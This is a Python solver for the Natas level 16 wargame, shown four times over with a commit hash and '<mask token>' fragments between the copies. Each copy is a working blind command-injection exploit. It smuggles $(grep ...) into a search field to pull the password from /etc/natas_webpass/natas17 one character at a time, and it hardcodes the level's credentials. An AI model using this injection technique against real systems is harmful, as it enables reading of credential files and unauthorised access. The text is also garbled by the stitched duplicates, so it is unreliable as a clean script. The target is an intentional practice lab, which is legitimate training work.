#!/usr/bin/env python

import requests
import re
from string import ascii_lowercase, ascii_uppercase, digits

characters = ascii_lowercase + ascii_uppercase + digits
# print(characters)

username = 'natas16'
password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'

url = 'http://%s.natas.labs.overthewire.org/' % username

session = requests.Session()
# response = session.get(url, auth=(username, password))

seen_password = list()
while (len(seen_password) < 32):

    for character in characters:
        response = session.post(url, data={"needle": "anythings$(grep ^" + "".join(
            seen_password) + character + " /etc/natas_webpass/natas17)"}, auth=(username, password))
        content = response.text
        returned = (re.findall('<pre>\n(.*)\n</pre>', content))

        if(not returned):
            seen_password.append(character)
            print("".join(seen_password))
            break

        # print(content)

86902d33e52620430c9f8364fc9d149f9b299991
<mask token>

<mask token>
while len(seen_password) < 32:
    for character in characters:
        response = session.post(url, data={'needle': 'anythings$(grep ^' +
            ''.join(seen_password) + character +
            ' /etc/natas_webpass/natas17)'}, auth=(username, password))
        content = response.text
        returned = re.findall('<pre>\n(.*)\n</pre>', content)
        if not returned:
            seen_password.append(character)
            print(''.join(seen_password))
            break

<mask token>
characters = ascii_lowercase + ascii_uppercase + digits
username = 'natas16'
password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'
url = 'http://%s.natas.labs.overthewire.org/' % username
session = requests.Session()
seen_password = list()
while len(seen_password) < 32:
    for character in characters:
        response = session.post(url, data={'needle': 'anythings$(grep ^' +
            ''.join(seen_password) + character +
            ' /etc/natas_webpass/natas17)'}, auth=(username, password))
        content = response.text
        returned = re.findall('<pre>\n(.*)\n</pre>', content)
        if not returned:
            seen_password.append(character)
            print(''.join(seen_password))
            break

import requests
import re
from string import ascii_lowercase, ascii_uppercase, digits
characters = ascii_lowercase + ascii_uppercase + digits
username = 'natas16'
password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'
url = 'http://%s.natas.labs.overthewire.org/' % username
session = requests.Session()
seen_password = list()
while len(seen_password) < 32:
    for character in characters:
        response = session.post(url, data={'needle': 'anythings$(grep ^' +
            ''.join(seen_password) + character +
            ' /etc/natas_webpass/natas17)'}, auth=(username, password))
        content = response.text
        returned = re.findall('<pre>\n(.*)\n</pre>', content)
        if not returned:
            seen_password.append(character)
            print(''.join(seen_password))
            break

#!/usr/bin/env python

import requests
import re
from string import ascii_lowercase, ascii_uppercase, digits

characters = ascii_lowercase + ascii_uppercase + digits
# print(characters)

username = 'natas16'
password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'

url = 'http://%s.natas.labs.overthewire.org/' % username

session = requests.Session()
# response = session.get(url, auth=(username, password))

seen_password = list()
while (len(seen_password) < 32):

    for character in characters:
        response = session.post(url, data={"needle": "anythings$(grep ^" + "".join(
            seen_password) + character + " /etc/natas_webpass/natas17)"}, auth=(username, password))
        content = response.text
        returned = (re.findall('<pre>\n(.*)\n</pre>', content))

        if(not returned):
            seen_password.append(character)
            print("".join(seen_password))
            break

        # print(content)
